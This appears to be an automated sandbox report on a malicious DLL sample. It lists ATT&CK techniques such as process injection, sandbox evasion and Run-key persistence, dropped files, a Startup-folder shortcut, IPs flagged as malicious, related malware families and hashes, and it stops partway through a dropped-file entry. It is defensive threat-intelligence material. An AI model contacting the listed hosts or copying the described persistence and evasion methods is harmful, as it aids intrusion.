Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation

Source: C:\Windows\System32\rundll32.exe

Code function: 4_2_00007FFD92A72EBC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_00007FFD92A72EBC

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Scheduled Task/Job	111 Process Injection	13 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Command and Scripting Interpreter	12 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	12 Registry Run Keys / Startup Folder	41 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	1 DLL Side-Loading	111 Process Injection	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Rundll32	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
JkICQ13OOY.dll	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\IntelManagementUnit\Clienter.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll	0%	ReversingLabs

Name	Source	Malicious	Reputation
https://aka.ms/nativeaot-compatibilityy#	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
http://html4/loose.dtd	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
http://nuget.org/NuGet.exe	powershell.exe, 00000017.00000002.2311872743.000001B4C7E67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2427107251.000001B4D6725000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000017.00000002.2311872743.000001B4C7DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000017.00000002.2311872743.000001B4C7DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/nativeaot-c	rundll32.exe	false	high
https://go.micro	powershell.exe, 00000017.00000002.2311872743.000001B4C71A3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/dotnet/fsharpk	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
http://.css	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000017.00000002.2311872743.000001B4C7DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/icedland/iced	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://aka.ms/nativeaot-compatibilityY#	rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	rundll32.exe, rundll32.exe, 0000001D.00000002.2344659985.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmp	false	high
https://aka.ms/dotnet-warnings/	rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://aka.ms/nativeaot-compatibility	rundll32.exe, 0000001D.00000002.2344659985.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://contoso.com/	powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/secana/PeNet	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000017.00000002.2311872743.000001B4C7E67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2427107251.000001B4D6725000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2427107251.000001B4D65EE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://oneget.orgX	powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY#	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://github.com/dotnet/runtimeK	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://aka.ms/GlobalizationInvariantMode	rundll32.exe, rundll32.exe, 0000001D.00000002.2344659985.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 0000000D.00000002.2277248510.00000258614EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2277248510.00000258614C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2293471289.00000204444E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2293471289.00000204444CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2311872743.000001B4C6571000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rundll32.exe, rundll32.exe, 0000001D.00000002.2344659985.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
http://.jpg	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://github.com/icedland	rundll32.exe, 00000004.00000002.2235343890.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2235361153.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2307921085.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000013.00000002.2463983589.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmp	false	high
https://oneget.org	powershell.exe, 00000017.00000002.2311872743.000001B4C7D08000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
79.130.19.119	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	true
107.189.8.65	unknown	United States	53667	PONYNETUS	true
185.196.220.82	unknown	Netherlands	43060	IPLUS-ASUZ	true
204.8.96.82	unknown	United States	22581	ACE-STXVI	true
84.19.176.161	unknown	Germany	31103	KEYWEB-ASDE	true
104.244.76.24	unknown	United States	53667	PONYNETUS	true
178.195.212.233	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	true
136.243.3.194	unknown	Germany	24940	HETZNER-ASDE	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576677
Start date and time:	2024-12-17 11:48:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	70
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	JkICQ13OOY.dll (renamed file extension from exe to dll, renamed because original name is a hash value)
Original Sample Name:	c6aad319fcaa6c5f87dc49805d5e287f1870e61e0b93e17b4da556865c212e25.dll.exe
Detection:	MAL
Classification:	mal80.evad.winDLL@90/45@0/9
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Override analysis time to 240s for sample based on specific behavior

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212, 23.218.208.109, 20.190.147.0, 20.223.35.26, 13.107.246.63, 20.190.177.149, 4.175.87.197, 2.18.40.153, 150.171.28.10, 2.18.40.138, 20.105.99.58
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target powershell.exe, PID 3560 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7236 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7552 because it is empty
Execution Graph export aborted for target rundll32.exe, PID 2192 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 4232 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 5156 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7340 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7688 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7696 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7704 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7720 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7732 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: JkICQ13OOY.dll

Simulations

Behavior and APIs

Time	Type	Description
05:49:25	API Interceptor	9x Sleep call for process: powershell.exe modified
05:49:26	API Interceptor	1x Sleep call for process: loaddll64.exe modified
05:49:34	API Interceptor	1x Sleep call for process: WerFault.exe modified
05:50:07	API Interceptor	3x Sleep call for process: svchost.exe modified
11:49:27	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IntelManagementuser.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
107.189.8.65	NfFibKKmiz.exe	Get hash	malicious	Unknown	Browse
204.8.96.82	63w24wNW0d.exe	Get hash	malicious	Unknown	Browse
104.244.76.24	tgduMePOh0.exe	Get hash	malicious	Kronos	Browse	104.244.76.24/tor/server/fp/62712b2c24a169b24336cd2fe2be55da67476c8b
104.244.76.24	Z9GkJvygEk.exe	Get hash	malicious	Kronos	Browse	104.244.76.24/tor/server/fp/1a3247ed0a7298150dad6a32822b5948ab59f00d

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OTENET-GRAthens-GreeceGR	sh4.elf	Get hash	malicious	Mirai	Browse	94.70.70.67
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	178.147.7.221
	arm7.elf	Get hash	malicious	Unknown	Browse	79.130.226.8
	powerpc.elf	Get hash	malicious	Unknown	Browse	94.232.80.158
	bot.sh4.elf	Get hash	malicious	Mirai	Browse	94.68.20.110
	bot.x86.elf	Get hash	malicious	Mirai	Browse	94.65.166.93
	bot.mips.elf	Get hash	malicious	Mirai	Browse	94.67.1.217
	bot.spc.elf	Get hash	malicious	Mirai	Browse	94.71.124.22
	armv4l.elf	Get hash	malicious	Mirai	Browse	94.66.184.137
	armv5l.elf	Get hash	malicious	Unknown	Browse	94.71.14.129
IPLUS-ASUZ	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	94.158.52.97
	j2qv9oE81X.elf	Get hash	malicious	Mirai	Browse	85.158.191.10
	na.elf	Get hash	malicious	Unknown	Browse	85.158.191.34
	185.jar	Get hash	malicious	Dynamic RAT	Browse	185.196.220.62
	SecuriteInfo.com.Trojan.DownLoader46.2135.13298.13900.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	94.158.52.97
	arm5-20240709-0417.elf	Get hash	malicious	Mirai	Browse	94.158.53.51
	Tax_Document.pdf.exe	Get hash	malicious	DarkGate, MailPassView	Browse	185.196.220.195
	Tax-Documents-PDF.zip	Get hash	malicious	Dynamic Stealer	Browse	185.196.220.62
	https://samncs.web.app/Tax-Documents-PDF.zip	Get hash	malicious	Dynamic Stealer	Browse	185.196.220.62
	arm7.elf	Get hash	malicious	Mirai	Browse	94.158.53.17
PONYNETUS	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	107.189.1.9
	SC_TR11670000_pdf.exe	Get hash	malicious	FormBook	Browse	198.251.84.200
	vpn.exe	Get hash	malicious	Metasploit	Browse	209.141.35.225
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	144.172.104.27
	MGj3hwACvs.html	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.194.152.148
	http://papyrefb2tdk6czd.onion.ly	Get hash	malicious	Unknown	Browse	198.251.88.129
	EEghgCvQUy.exe	Get hash	malicious	DanaBot	Browse	104.194.143.5
	3yb52PgwJ2.exe	Get hash	malicious	DanaBot	Browse	104.194.143.5
	EEghgCvQUy.exe	Get hash	malicious	DanaBot	Browse	104.194.143.5
	hmips.elf	Get hash	malicious	Unknown	Browse	209.141.49.186

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	84.19.176.161 104.244.76.24 107.189.8.65
	http://85off-lv.com	Get hash	malicious	Unknown	Browse	84.19.176.161 104.244.76.24 107.189.8.65
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	84.19.176.161 104.244.76.24 107.189.8.65
	fGZLZhXIt1.bat	Get hash	malicious	Unknown	Browse	84.19.176.161 104.244.76.24 107.189.8.65
	greatnicefeatureswithsupercodebnaturalthingsinlineforgiven.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	84.19.176.161 104.244.76.24 107.189.8.65
	Ls4O6Pmixd.exe	Get hash	malicious	Phemedrone Stealer	Browse	84.19.176.161 104.244.76.24 107.189.8.65
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	84.19.176.161 104.244.76.24 107.189.8.65
	V7giEUv6Ee.bat	Get hash	malicious	Unknown	Browse	84.19.176.161 104.244.76.24 107.189.8.65
	BwQ1ZjHbt3.bat	Get hash	malicious	Unknown	Browse	84.19.176.161 104.244.76.24 107.189.8.65
	https://onedefender.xyz/w/a/s/?lp_key=17343c9645d1ac0fef5c105d161ba25127ffc78983&clickid=ctg89et00fes73cmfgu0&trk=fireclk.xyz&language=de&feed=7539&zone=3dcf5f1b&dm=1	Get hash	malicious	Unknown	Browse	84.19.176.161 104.244.76.24 107.189.8.65

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1587
Entropy (8bit):	5.166366197633505
Encrypted:	false
SSDEEP:	48:SbguRQlAGNccAQN6WeNLUNqwNuM30nTYamGD:SbgwQlTJdzembgnTnZ
MD5:	7B199B9752579D0DE045B0D2E76DFE11
SHA1:	75B04C1D3528CE4513FFB0EEE8844BDCCE9F4F93
SHA-256:	377974A06D4823824E5C3C24D33F0627DD3BE3846533F1FA053E8DA744B1F219
SHA-512:	1B5DA3C32F6D1B8352A4ABBB6418DF240EDDF7F91518309E1F0E9D9F9AE0D2808665661654AC2CCA1C65B962BBD5B6A4366F9270A985B694FB5382117DE97B10
Malicious:	false
Preview:	System.AggregateException: One or more errors occurred. (Could not find file 'C:\Program Files\IntelProfileUpdater\app.config'.).. ---> System.IO.FileNotFoundException: Could not find file 'C:\Program Files\IntelProfileUpdater\app.config'...File name: 'C:\Program Files\IntelProfileUpdater\app.config'.. at Microsoft.Win32.SafeHandles.SafeFileHandle.CreateFile(String, FileMode, FileAccess, FileShare, FileOptions) + 0x151.. at Microsoft.Win32.SafeHandles.SafeFileHandle.Open(String, FileMode, FileAccess, FileShare, FileOptions, Int64, Nullable`1) + 0x44.. at System.IO.Strategies.OSFileStreamStrategy..ctor(String, FileMode, FileAccess, FileShare, FileOptions, Int64, Nullable`1) + 0x50.. at System.IO.Strategies.FileStreamHelpers.ChooseStrategyCore(String, FileMode, FileAccess, FileShare, FileOptions, Int64, Nullable`1) + 0xbc.. at System.IO.FileStream..ctor(String, FileMode, FileAccess, FileShare, Int32, FileOptions, Int64) + 0x8a.. at System.IO.File.AsyncStreamReader(String, Enc

C:\Program Files\IntelProfileUpdater\logs.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.168923361135764
Encrypted:	false
